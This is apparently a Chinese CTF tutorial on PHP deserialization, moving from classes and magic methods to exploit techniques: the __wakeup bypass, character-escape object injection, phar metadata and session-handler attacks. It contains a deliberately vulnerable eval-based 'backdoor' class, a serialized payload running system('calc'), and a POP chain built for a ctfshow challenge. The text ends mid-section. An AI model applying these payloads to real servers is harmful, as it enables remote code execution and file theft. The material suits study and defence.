Web_6_PHP反序列化
Charmersix

第一节 php基础、类与对象

读文档类与对象

0x1 php中的面向对象

在前面的课程中,我们使用的最小命令单元,是函数或者语言结构,我们可以通过某个函数(比如phpinfo)来执行某个操作,这种使用单独函数来完成特定功能的语言模式,我们叫做面向过程编程。面向过程编程方法的优势是代码简单,开发迅速,不足之处就是如果功能、逻辑、数据进行大量的增长,这时候,代码维护难度将会成倍的增加,扩展性、可移植性就大大降低。

于是以Java为代表的面向对象编程顺势而出,解决了复杂逻辑空间下的编码模式问题,php在最开始的纯面向过程逐步向面向对象模式改进,在保持其一贯的简单易学、编码快速的优势下,同向对象之间取得平衡。

面向对象的思想

面向对象的设计思想主要有

  1. 系统中一切事物皆为对象
  2. 对象是属性及其操作的封装体
  3. 对象可按其性质划分为类,对象成为类的实例
  4. 实例关系和继承关系是对象之间的静态关系
  5. 消息传递是对象之间动态联系的唯一形式,也是计算的唯一形式
  6. 方法是消息的序列

php面向对象的特点

面向对象三大特征:封装、继承、多态

聚类

在面向对象的思路上,功能相似的函数集合在一起

将完成一个共同功能的函数集中起来就是聚类

封装

功能封装,数据封装,供内部各个方法使用

隔离

调用对象从一个蓝图转换到一个可以使用的产品的过程叫做实例化

俩个实例之间的属性不能互相访问,在对象内部,也不能直接访问外部的变量。

继承

继承可以理解为对象的包含,在php中可以使用extends关键字继承类

多态

在php中是弱类型,在参数传递过程中,可以改变参数的对象类型,作为对象依然是可以传递进去,当同一个参数由不同对象实例传递,那么调用结果就实现不同的状态

例如:

1
2
3
4
5
6
class Command{

function run($var){
$var->run();
}
}

我们有一个command类,她有一个run方法,会执行参数run方法,然后我们有两个其他对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Command{

function run ($var){
$var->run();
}
}

class Rabbit{

function run{
echo "兔子跑了";
}
}

class Script{
function run(){
echo"脚本已启动";
}
}

$command = new Command();

$r = new Rabbit();
$s = new Script();

$command->run($r);
$command->run($s);

0x2 类与对象

类的属性和方法权限

在php中,类的属性和方法权限有三个权限,分别为

  • public
  • protected
  • private
public权限

被定义为公有类成员可以在任何地方被访问

🌰

1
2
3
4
5
6
7
class Command{

public $cmd;
}

$command = new Command();
$command->cmd="whoami";

这里用箭头来指向类的属性,箭头之后,不需要$符号

也可以使用var来定义类属性,如果使用var定义则默认public权限

protected权限

被定义为受保护的类成员则可以被其自身以及其子类和父类访问

🌰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Animal{

protected $color;
function eat(){

}
function sleep(){

}
}

class Human extends Animals{

public $gender;
function getColor(){
echo $this->color
}
}

color属性可以被子类继承并访问

private权限

私有属性,只能在类自身中访问,其他位置不能访问,包括继承它的类

🌰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Animal{

private $color;
function eat(){

}
private function sleep(){

}
}

class Human extends Animals{

public $gender;
function think(){

}
}
//正确,类实例可以访问到自身的私有属性
$animal = new Animal();
echo $animal ->color;
//错误,子类实例不能访问父类私有属性
$human = new Human();
echo $human ->color;
//错误,子类实例调用不了父类的私有方法
$human->sleep();

类的属性

属性声明是由关键字public、protected或者private开头,然后跟一个普通的变量声明来组成。属性中的变量可以初始化,但初始化的值必须是常数,这里的常数是指PHP脚本在编译阶段时就可以得到其值,而不依赖于运行时的信息才能求值。

🌰

1
2
3
4
5
6
7
8
9
10
11
<?php
class Animal{

public $name="panda"; #初始化
public function eat(){
}
public function sleep(){

}
}
?>
静态属性

指不用实例化类对象,直接通过类名访问的属性或者方法

声明类属性或方法为静态,就可以不实例化类而直接访问。静态属性不能通过一个类已实例化的对象来访问(但静态方法可以)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Animal{

public static $color;
function eat(){
//这里直接通过类名调用,不需要实例化
Animal::sleep();

}
private static function sleep(){
return self::$color;
//使用双冒号指向静态属性
}
}

class Human extends Animal{
public $gender;
function think(){

return parent::$color;
//子类也可以直接访问到父类的静态方法
}

}
final属性

如果代码中有final关键字就不允许子类重写父类,如果子类强制重写父类就会报错

类的分类

前面我们定义类的时候,没有修饰,类也是可以有不同的修饰符号的

抽象类

使用abstract关键字定义抽象类

定义为抽象的类不能被实例化.任何一个类,如果它里面至少有一个方法是被声明为抽象的,那么这个类就必须被声明为抽象的.被定义为抽象的方法只是声明了其调用方式(参数),不能定义其具体的功能实现.

继承一个抽象类的时候,子类必须定义父类中的所有抽象方法;另外,这些方法的访问控制必须和父类中的一样(或者更为宽松).例如某个抽象方法被声明为受保护 的,那么子类中实现的方法就应该声明为受保护的或者公有的,而不能被定义为私有的.此外方法的调用方式必须匹配,即类型和所需参数数量必须一致.例如,子类定义了一个可选参数,而父类抽象方法的声明里没有,则两者的声明并无冲突.

🌰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

abstract class Animal{

abstract function sleep();

}
class Human extends Animal{
function sleep(){
echo "in bed";
}
}

class Bird extends Animal{
function sleep(){
echo "on tree";
}
}
$a = new Human();

var_dump($a);

抽象类的作用是保证他的子类都有指定的共同方法,方便外部调用,而不关心内部的具体实现

总之:

  • 抽象类不能实例化,只能实例化子类
  • 抽象类可以有具体方法,但至少应该有一个抽象方法
  • 继承抽象类的子类必须实现抽象类的所有抽象方法
接口

使用interface来定义,很像抽象类

使用接口(interface),可以指定某个类必须实现哪些方法,但不需要定义这些方法的具体内容.其中定义的所有的方法都是空的

接口中定义的所有方法都必须是公有的,这是接口的特性

要实现一个接口,使用implements操作符.类中必须实现接口中定义的所有方法,否则会报一个致命错误.类可以实现多个接口,用逗号来分隔多个接口的名称.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

interface a
{
public function foo();

}
interface b
{
public function bar();

}
interface c extends a ,b
{
public function baz();
}

class d implements c
{
public function foo(){

}
public function bar(){

}
public function baz(){

}

}
?>

接口允许继承,实现接口,也允许实现多个接口

trait

PHP5.4起,PHP实现了一种代码复用的方法,为trait

Trait 是为类似php单继承语言而备用的一种代码复用机制.Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用method. Trait 和 class组合的语义定义了一种减少复杂性的方式,避免传统多继承和Mixin类相关典型问题.

Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能. 无法通过Trait 自身来实例化. 它为传统继承增加了水平特性的组合; 也就是说应用的几个Class之间不需要继承.

trait 是可以组合的,由多个trait构成一个新的trait

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
trait Hello {
public function SayHello(){
echo 'hello';
}
}

trait World {
public function SayWorld(){
echo 'world';
}
}

trait HelloWorld{
use Hello, World;
}
class MyHelloWorld {
use HelloWorld;

}

$o = new MyHelloWorld();
$o -> SayHello();
$o -> SayWorld();
?>

trait配合接口或者抽象类

匿名类

匿名类是为了解决临时实现某个抽象类或者接口类实例用的

匿名类我们关注的点是临时执行下我们自定义的run方法,这个类其他地方也用不到,所以我们不需要给它专门起名定义,占用代码行数,反正Command类的run方法关心的是传入的对象有没有run方法,而不关心传入的对象叫什么名字.

🌰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Command {
function run ($var){
return $var -> run();

}
}
$command = new Command();

echo $command->run (new class{
function run(){
return "临时用的所以不起名字"
}
});
?>

对象序列化

所有PHP里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.unserialize()函数能够重新把字符串变回PHP原来的值. 序列化一个对象将会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字.

对象序列化 serialize方法,返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方,有利于存储或传递PHP的值,同时不丢失其类型和结构.

对象反序列化 unserialize方法,对单一的已序列化的变量进行操作,将其转换回PHP值.

  • 字符串和数字都可以序列化/反序列化

第二节 php的序列化与反序列化

0x3 序列化与反序列化

序列化

序列化的本质是将内存中的对象,转换为可以保存,传输的字符

在php中,我们不仅可以序列化对象的实例,也可以序列化一些基本类型

🌰

1
2
3
4
<?php
$name = "charmersix";
echo serialize($name);
?>

可以得到序列化字符串

image-20221002180711339

其中第一个s表示被序列化的对象类型,s指string

后面紧跟一个冒号和数字,表示属性的长度,后面冒号+双引号表示属性的内容

我们也可以尝试序列化一个我们自定义的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Animal{
public $name;

public function eat(){
return "i can eat";

}
public function sleep(){
return "i can sleep";

}
}

$a = new Animal();
echo serialize ($a);

可以看到一个对象被序列化以后的字符串

1
O:6:"Animal":1:{s:4:"name";N;}

一个对象,名字是6个字符,内容是Animal,有一个属性,是个字符串,名字由4个字符组成,是name,没有值,是Null

属性是有权限的,当属性权限为protected时,可以看到序列化结果为:

1
2
O:6:"Animal":1:{s:7:"*name";N;}
O%3A6%3A%22Animal%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BN%3B%7D

属性名字前加了*表示这个属性是protected权限,其实这里还有不可见字符,可以看到长度是7

那么增加的不可见字符是什么呢,就是\x00*\x00,三个字符加上name的4个字符,刚好是7字符,可以通过urlencode发现不可见字符,所以遇到非public属性进行序列化时,一定不要直接复制输出,除非进行了urlencode编码

如果是私有属性反序列化后是类名+属性

1
2
O:6:"Animal":1:{s:12:"Animalname";N;}
O%3A6%3A%22Animal%22%3A1%3A%7Bs%3A12%3A%22%00Animal%00name%22%3BN%3B%7D

可以看到我们虽然序列化的是子类,但是会把父类的私有属性也序列化进去,甚至可以吧trait看成一种特殊的继承类,也会被序列化进去

抽象类和接口都无法序列化,但是匿名类可以序列化

对象的属性也可以为对象

🌰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
trait action{
public $move = "step";

}

class Animal{
public $name;
function eat(){
echo "i can eat";
}
function sleep(){
echo "i can sleep";
}
}
class Human extends Animal{
public $gender;
use action;
function think(){

}
}

$a = new Animal();

$h = new Human();
$a -> new = $h;

echo serialize ($a);

这时候,序列化后的字符串为

1
O:6:"Animal":2:{s:4:"name";N;s:3:"new";O:5:"Human":3:{s:6:"gender";N;s:4:"name";N;s:4:"move";s:4:"step";}}

一个对象,名字是6个字符,内容是Animal,有1个属性,属性名字是字符串,长度为4,内容name,值是一个对象,对象名字是5个字符,内容是Human,包含三个属性,分别是6个字符的gender,4个字符的name,以及4个字符的move

总结:

序列化就是对一个对象的所有属性,用字符串描述出来,方便反序列化时还原

反序列化

反序列化是对已经序列化后的字符串,重新构造出一个对象使用unserialize

🌰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Animal{
public $name = "panda";
function eat(){
echo "i can eat";
}
function sleep(){
echo "i can sleep";
}
}

$a = new Animal();
//echo serialize ($a);

//得到序列化以后的结果

$p = 'O:6:"Animal":1:{s:4:"name";s:5:"panda";}';

$panda = unserialize ($p);

echo $panda ->name;

可以看到输出了一个panda

php对于不识别的类被反序列化后,会给自动分配一个类名,这个类名就是__PHP_Incomplete_Class

总结:

  1. 反序列化时,必须反序列化已经存在的类
  2. unserialize函数的参数,必须是字符串
  3. unserialize函数返回的是转换之后的值,可为integer、float、string、array、或object,如果传递的字符串不可解序列化,则返回false

这里说的存在的类,是指在PHP脚本或所包含的文件中,有class关键字定义的类

0x4 PHP中的魔术方法

在php中,存在众多的魔法方法,是每个对象默认都有的方法,不管定义不定义,都会存在

首先总结一下干货, 方便食用

1
2
3
4
5
6
7
8
9
10
11
__construct:在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct:和构造函数相反,当对象所在函数调用完毕后执行。
__call:当调用对象中不存在的方法会自动调用该方法。
__get():获取对象不存在的属性时执行此函数。
__set():设置对象不存在的属性时执行此函数。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__isset():在不可访问的属性上调用isset()或empty()触发
__unset():在不可访问的属性上使用unset()时触发
__invoke() :将对象当作函数来使用时执行此方法

sleep和wakeup方法

魔法方法是以两个下划线开头的方法

其中__sleep方法是序列化的时候,自动调用的方法

serialize()函数会检查类中是否存在一个魔术方法__sleep()如果存在,该方法会被调用,然后才执行序列化操作.此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称数组.

🌰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class Animal{
public $name = "panda";
public $color = "red";
public $move = "step";
function eat(){
echo "i can eat";
}
function sleep(){
echo "i can sleep";
}
function __sleep(){
return ['name','color'];

}
}

$a = new Animal();
echo serialize ($a);

打印结果为

1
2
O:6:"Animal":2:{s:4:"name";s:5:"panda";s:5:"color";s:3:"red";}
//序列化后只有name和color

同构__sleep方法清理后,move属性并没有进入序列化后的结果和__sleep方法对应的是wakeup方法,表示反序列化时,对所反序列化的属性进行处理wakeup函数可以不需要返回值,时对对象的属性进行一些初始化操作

🌰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class Animal{
public $name = "panda";
public $color = "red";
public $move = "step";
function eat(){
echo "i can eat";
}
function sleep(){
echo "i can sleep";
}
function __sleep(){
return ['name','color'];

}
function __wakeup(){
$this -> name = "tiger";
}
}
// $a = new Animal();
// echo serialize ($a);
$b = 'O:6:"Animal":2:{s:4:"name";s:5:"panda";s:5:"color";s:3:"red";}';
$a = unserialize($b);
echo $a -> name;

可以看到,我们这里反序列化的属性值,不管是不是panda,最终反序列化后,都变成了tiger,所以wakeup方法会在反序列化前被调用,用来提前处理属性的值

image-20221003193513620

construct和destruct方法

和上面方法类似,这里成为构造函数和析构函数

表示对象在实例化时执行的函数和对象要销毁前执行的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class Animal{
public $name = "panda";
public $color = "red";
public $move = "step";
function eat(){
echo "i can eat";
}
function sleep(){
echo "i can sleep";
}
function __sleep(){
return ['name','color'];

}
function __wakeup(){
$this -> name = "tiger";
}
function __construct(){
echo "对象被new时执行<br>";
}
function __destruct(){
echo "对象被销毁时执行<br>";
}
}

$a = new Animal();

也就是说,在PHP代码中,实例化一个对象的时候,会自动调用类的__construct方法,当前php脚本即将运行结束,就会调用已经实例化的类的__destruct方法 所以上面的栗子会先调用前者,再调用后者.

但是,如果单纯的进行反序列化,不实例化对象时,只会调用__destruct方法

这里会是一个明显的调用入口,如果我们反序列化一个拥有__destruct方法的对象时,会自动调用这个析构方法,而如果这个析构方法中,有我们可以控制的值,那么就可以实现我们恶意代码内容

在php反序列化利用,析构方法是很好的入手点,但是我们可能不一定能够找到非常合适的析构方法供我们使用

call和callStatic方法

在对象中调用一个不可访问的方法时,__call()会被调用

在静态上下文中调用一个不可访问的方法时, __callStatic()会被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctfshow{
public function __call($name,$args){
echo "i called method".$name. "<br>";
echo "args is <br>";
print_r($args);

}
}

$cs = new ctfshow();
$cs->go(1, "CT","m4a1");
?>

get、set和isset、unset

  • 在给不可访问属性赋值时,__set()会被调用.
  • 读取不可访问属性的值时,__get()会被调用.
  • 当对不可访问属性调用isset()empty()时,__isset()会被调用.
  • 当对不可访问属性调用unset()时,__unset()会被调用.

tostring方法

__toString()方法用于一个类被当成字符串时应怎样回应.例如echo $obj;应该显示些什么.此方法必须返回一个字符串,否则将发出一条E_RECOVERABLE_ERROR级别的致命错误.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class secret{
public $secret = "you never know my secret";
public function show($name){
echo "hey $name!".$this->secret ;

}
public function __toString(){
return $this -> secret;
}
}

$c = new secret();

echo $c;
//相当于执行
//echo $c->__toString();

执行结果

1
you never know my secret

这里直接打印对象实例,会自动调用对象的__toString方法,这里方法名字大小写不敏感

invoke方法

当尝试以调用函数的方式调用一个对象时__invoke()方法会被自动调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class secret{

public $secret = "you never know my secret";
public function show($name){
echo "hey $name!".$this -> secret;

}
public function __invoke($name){
return $this ->show($name);
}
}

$c = new secret();
echo $c ('charmersix');

执行结果

1
hey charmersix!you never know my secret

前面魔术方法在我们构造反序列化利用链时非常有用,必须掌握,后面方法,相对冷僻,需要熟悉

set_state方法

自php5.1.0起,当调用var_export()导出类时,此静态方法会被调用

本方法唯一的参数是一个数组,其中包含array('property'=>value,...)格式排列的类属性

注意,这里是静态方法,和__tostring方法类似,不过这里主要输出类的属性结构

1
static object __set_state(array $properties)

debugInfo方法

1
array __debugInfo(void)

当调用var_dump时,调用这个方法,显示类的属性具体结构和值

0x5 反序列化中的绕过

绕过__wakeup方法

这个主要是基于CVE-2016-712

具体利用时通过手动修改类的属性个数,让前后不一致时,__wakeup函数就会绕过执行,触发可能存在的漏洞

利用条件

  • php5-5.6.25
  • php7-7.0.10

在这个版本范围之内,可以用这个绕过方法,具体我们看一个栗子

将本地phpstudy中的php调整到5.6

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);

class backdoor{
public $name;
public function __wakeup()
{
$this->name='phpinfo();';

// TODO: Implement __wakeup() method.
}
public function __destruct(){
eval($this->name);
}
}

$data = $_POST['data'];
unserialize($data);

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
highlight_file(__FILE__);

class backdoor{
public $name="system('calc');";
public function __wakeup()
{
$this->name='phpinfo();';

// TODO: Implement __wakeup() method.
}
public function __destruct(){
eval($this->name);
}
}

//$data = $_POST['data'];
//unserialize($data);
$b = new backdoor();
echo serialize($b);

这里我们生成的payload是

1
2
O:8:"backdoor":1:{s:4:"name";s:15:"system('calc');";}
//这里的1表示只有一个属性,我们手动改成2,代表有两个,但是实际只有一个,就会报错,绕过__wakeup

+号绕过正则匹配

如果在输入参数进行了过滤,不允许输入类似O:8这种开头,主要是为了限制不能反序列化对象,这时候,可以通过在数字前面增加一个+号过滤,类似O:+8

引用绕过

php中也可以使用引用符号&,这里就是传址,如果不加,就是传值

传值的最大特点就是引用可以不同,但是指向是相同的

例如

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
highlight_file(__FILE__);
function add(&$str){
$str = "love".$str;
return $str;
}
$a = 'you';

add($a);

echo $a;

Ascii码绕过

如果在反序列化后的字符串s变更为大写的S后,就会支持将里面的字符按照\xx格式Ascii读取,绕过对关键字的检测

例如:

1
O:8:"backdoor":1:{s:4:"name";s:10:"phpinfo();";}

修改后的payload为

1
O:8:"backdoor":1:{S:4:"n\97me";s:10:"phpinfo();";}

Exception绕过

Exception是异常,看下面栗子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
class backdoor{
public function __destruct(){
echo file_get_contents("/f1ag");
}
}

$data = $_POST['data'];

if(unserialize($data)){
throw new Exception("not allow unserialize");
}

通过破坏里面的属性格式,但是类名正确的情况,还是会执行类的析构方法

payload如下

1
O:8:"backdoor":1:{1}

字符逃逸绕过

php在序列化数据的时候,如果序列化的是字符串,就会保留该字符串的长度,然后将长度写入序列化后的数据,反序列化时就会按照长度进行读取,并且PHP底层实现上是以;作为分割}作为结尾

类中不存在的属性也会进行反序列化,这里就会发生逃逸问题,而导致对象注入

🌰

1
2
3
4
5
6
7
8
9
10
11
<?php
class backdoor{
public $m;
public $c;
}

$b = new backdoor();
$b->m='system';
$b->c='ls';

echo serialize($b);

显示结果:

1
O:8:"backdoor":2:{s:1:"m";s:6:"system;s:1:"c";s:2:"ls";}

这里我们如果用双引号,闭合,会发现不能闭合

因为这里长度为8,它反序列化的时候,会从后面第一个双引号开始,读取6个字符作为m的值,即使有双引号,也不能闭合

这里序列化后进行了一次过滤,将system过滤为了ctfshow,最后序列化的结果就成了

1
O:8:"backdoor":2:{s:1:"m";s:6:"ctfshow";";s:1:"c";s:2:"ls";}

还是从6后面读取6个字符,会读取到ctsho,由于没有闭合,就反序列化失败了,所以这时候,我们就逃出了1个字符w,如果我们写两个system让他过滤,就会得到

1
O:8:"backdoor":2:{s:1:"m";s:12:"ctfshowctfshow";";s:1:"c";s:2:"ls";}

观察规律,可以知道:system变成ctfshow的时候,字母数量由12变成了14,但是序列化的时候没有变,所以写入的字符串长度依旧时12

那么按照以前的12个长度进行读取,会把2个字符逃逸出来

如果这两个字符刚好是双引号,分号,就完整的闭合了属性

这里我们用3个system就可以逃逸出3个字符,我们用";}来结束反序列化读取

$b->m='systemsystemsystem";}';替换后得到O:8:"backdoor":2:{s:1:"m";s:21:"ctfshowctfshowctfshow";}";s:1:"c";s:2:"ls";}

可以看到扔掉了c这个属性的值,继续增加system的数量就可以注入我们想要的属性

第三节 phar的反序列化

0x6 什么是phar

phar是一类文件的后缀名称,也是php协议的一种

phar可以将多个php文件合并到一个独立的压缩包,相对独立,不用解压到硬盘即可运行php脚本,支持web服务器和命令行运行

image-20230129155652448

0x7 基于phar的反序列化

phar怎么用

正常来说文件包含是这样的

1
include "flag.php";

对于以上典型的文件包含,php底层是这么处理的

1
include "file://flag.php";

所以要使用phar包里的文件相应的使用phar协议进行包含

1
include "phar://com.ctfshow.fileUtil.phar/file.php";  

可以发现很像Java的依赖包

1
2
import java.util.HashMap;
//引入util.jar,使用里面的hashmap类,先声明出来,后面要用

所以phar就可以认为是类似于Java的一种jar包, 将相对独立的多个php文件打包在一起, 组成一个独立的模块供其他应用调用, 或者干脆自己打包为一个独立的应用, 类似于我们bp.jar

phar是怎么生成的

那么如何打包一个phar文件呢,首先改一下配置文件

[Phar]
; http://php.net/phar.readonly
phar.readonly = Off

image-20230129160252331

然后我们自己着手写一下

1
2
3
4
5
6
7
8
9
10
//index.php
<?php
$phar = new Phar('flag.phar');
//phar已经是个对象,然后调用方法

$phar->buildFromDirectory(dirname(__FILE__).'/project');
//public PharData::buildFromDirectory(string $directory)
//dirname() 函数返回路径中的目录名称部分。
$phar->setStub($phar-> createDefalutStub('index.php'));
//final public static Phar::createDefaultStub(?string $index = null, ?string $webIndex = null)

然后我们需要新建一个project目录, 里边放上我们要打包的文件/project/index.php

1
2
3
4
//index.php
<?php
$flag="flag{i am in phar}";
echo $flag;

然后我们执行一下第一个index.php, 会发现在本地已经生成了一个flag.phar

再写一个include.php来读取我们的phar文件

1
2
3
//include.php
<?php
include "./flag.phar";

最终我们执行一下include.php, 就可以读取到flag内容

image-20230129191830604

我们在包含的时候也可以不加phar后缀, 因为php文件没有后缀也是能读取的, like thisimage-20230129215302039

phar是怎么反序列化的

比方说这里有一个题目

文件上传, 但是不让上传php、ini、htaccess(黑名单)就可以尝试上传phar文件, phar文件里就有可能用到了file_exists(), 就可以利用反序列化

phar的底层原理是c代码, 这里不再细看

当使用phar::getMetadata方法时, 会进行反序列化, 我们本地测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//index.php
<?php
class hack{
public function __destruct()
{
echo "hack class destruct";
}

}
$h = new hack();
//执行析构
$phar = new Phar('flag.phar');
$phar-> buildFromDirectory(dirname(__FILE__).'/project');
$phar-> setMetadata($h);
$phar-> setStub($phar-> createDefaultStub('flag.php','index.php'));

我们打开phar文件可以发现, 出现了序列化的stringsimage-20230129223513002

执行之后, 发现本地生成了flag.phar, 然后尝试getMetadata, 看看能否反序列化hack类

1
2
3
4
5
6
7
8
9
10
11
//test.php
<?php
class hack{
public function __destruct()
{
echo "hack class destruct";
}

}
$phar = new Phar('flag.phar');
$phar-> getMetadata();

image-20230129225356303

可以发现时成功反序列化hack类

那么有没有可以自动反序列化的方法呢, 当然有, 通过尝试, 我们发现include协议和phar协议都可以反序列化

1
2
3
4
5
6
7
8
9
10
11
12
//include.php
<?php
class hack{
public function __destruct()
{
echo "hack class destruct";
}

}
file_exists('phar://flag.phar');
//include 'flag.phar';
//这里地址可以精确到/flag.phar/flag.php, 也可以只写到/flag.phar, 因为在index.php里用到了createDefaultStub缺省方法

image-20230129225621351

image-20230129225729348

那么为什么这个协议就可以反序列化呢, 我们可以看一下php的源码, 具体可以看这里的1874行

能使用phar伪协议的地方,就能自动反序列化metaData里面的数据

具体哪些函数可以用phar协议这里做一个汇总, 可以说是比较全面的

fileatimefilectimefile_existsfile_get_contentsfile_put_contents
filefilegroupfopenfileinodefilemtime
fileownerfilepermsfstatfseekis_dir
is_linkis_readableis_writeableis_writableinclude
include_onceopendirparse_ini_filermdirrequire
require_oncereadfilestatunlinkmkdir
copyscandirfilesizehighlight_filenew DirectoryIterator

两种情况下phar能够利用

  1. 能够控制上传或者写入phar文件的情况下. 没有恶意类, 但是可以包含. 就会执行phar里面打包的php文件
  2. 有恶意类, 没有包含, 但是有文件操作函数, 可以控制phar协议头. 可以自动反序列化里面的metaData数据, 配合析构方法, 可能造成漏洞

总结

  • phar中, 使用setmetaData函数可以保存任意可反序列化的变量以及类实例
  • 文件操作函数中, 只要能控制协议头, 均可自动反序列化metaData的数据
  • 文件包含的情况下, 可以直接执行里面的php文件中的php代码

第四节 session的反序列化

0x8 PHP中的session机制

php.ini有以下几个默认选项

1
2
3
4
5
6
7
8
9
10
session.upload_progress.enabled = On
//表示upload_progress功能开启, 也意味着当浏览器向服务器上传一个文件时, php将会把此次文件上传的详细信息(如上传时间/上传进度等)存储在session中;
session.upload_progress.cleanup = On
//表示当文件上传结束后, PHP将会立即清空对应的session文件中的内容, 这个选项非常重要;如果开启表示可能需要竞争, 如果不开启就不需要竞争
session.upload_progress.prefix = "upload_progress_"
//prefix+name将表示为session中的键名
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
//当name出现在表单中, PHP将会报告上传进度, 最大好处是 它的值可控
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"

这里我们只需要了解前四个配置选项即可

0x9 session处理handler引起的安全问题

这里我们写两段PHP代码来本地实验一下

1
2
3
4
5
6
7
8
9
10
11
12
//index.php
<?php
session_start();
//ini_set('session.serialize_handler','php_serialize');
class User{
public $name;

}
$u = new User();
$u->name='charmersix';
$_SESSION['user']=$u;
?>

首先我们来看一下本地session.serialize_handler的不同有什么影响, 这里我们再写一个phpinfo

1
2
3
4
//phpinfo.php
<?php
phpinfo();
?>

image-20230204191912630

可以看到原始的是php, 这里我们获取一下session试试, 我们可以在本地看到session内容image-20230204192254625

然后我们换一个handler

来到配置文件修改一下image-20230204193230833

可以发现明显的不同

1
2
3
4
5
ini: session.serialize_handler = php
session: user|O:4:"User":1:{s:4:"name";s:10:"Charmersix";}

ini: session.serialize_handler = php_serialize
session: a:1:{s:4:"user";O:4:"User":1:{s:4:"name";s:10:"Charmersix";}}

如果我们存储的是php_serialize形式, 然后再用php这种形式去读取, 就会出现一个反序列化的情况.

比如这样

1
|O:4:"User":1:{s:4:"name";s:10:"Charmersix";}

这样就可以把|后面的反序列化20200309232031-83c7666e-6219-1

这里我们做一个题目试试, 由于这个题目曾经出现过ctfshow平台的年初挑战, 所以是可以免费出现的, 别的一些ctfshow会员题目由于担心侵权, 所以题目源码就尽量不会出现在我的文章里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//index.php
<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();

if (isset($_GET['phpinfo']))
{
phpinfo();
}
if (isset($_GET['source']))
{
highlight_file("class.php");
}

$happy=new Happy();
$happy();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
//class.php
<?php
class Happy {
public $happy;
function __construct(){
$this->happy="Happy_New_Year!!!";

}
function __destruct(){
$this->happy->happy;

}
public function __call($funName, $arguments){
die($this->happy->$funName);
}

public function __set($key,$value)
{
$this->happy->$key = $value;
}
public function __invoke()
{
echo $this->happy;
}


}

class _New_{
public $daniu;
public $robot;
public $notrobot;
private $_New_;
function __construct(){
$this->daniu="I'm daniu.";
$this->robot="I'm robot.";
$this->notrobot="I'm not a robot.";

}
public function __call($funName, $arguments){
echo $this->daniu.$funName."not exists!!!";
}

public function __invoke()
{
echo $this->daniu;
$this->daniu=$this->robot;
echo $this->daniu;
}
public function __toString()
{
$robot=$this->robot;
$this->daniu->$robot=$this->notrobot;
return (string)$this->daniu;

}
public function __get($key){
echo $this->daniu.$key."not exists!!!";
}

}
class Year{
public $zodiac;
public function __invoke()
{
echo "happy ".$this->zodiac." year!";

}
function __construct(){
$this->zodiac="Hu";
}
public function __toString()
{
$this->show();

}
public function __set($key,$value)#3
{
$this->$key = $value;
}

public function show(){
die(file_get_contents($this->zodiac));
}
public function __wakeup()
{
$this->zodiac = 'hu';
}

}
?>

这里由于本人比较菜就参考一下官方的wp

思路:

1
2
3
4
5
1.利用happy类的析构方法
2.读取happy属性的happy属性, 会调用happy属性的__get方法
所以happy属性必须为new的实例
3.__get方法会触发某个对象的__toString方法
4.__toString方法触发Year类的show方法

这里可以发现pop链:

1
Happy:__destruct()=>_New_:__get()=>_New_:__toString()=>Year:__toString()=>Year:Show()

然后我们通过post传一下payload, 构造上传表单

1
2
3
4
5
<form action="url" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>

构造exp.php

1
2
3
4
5
6
7
8
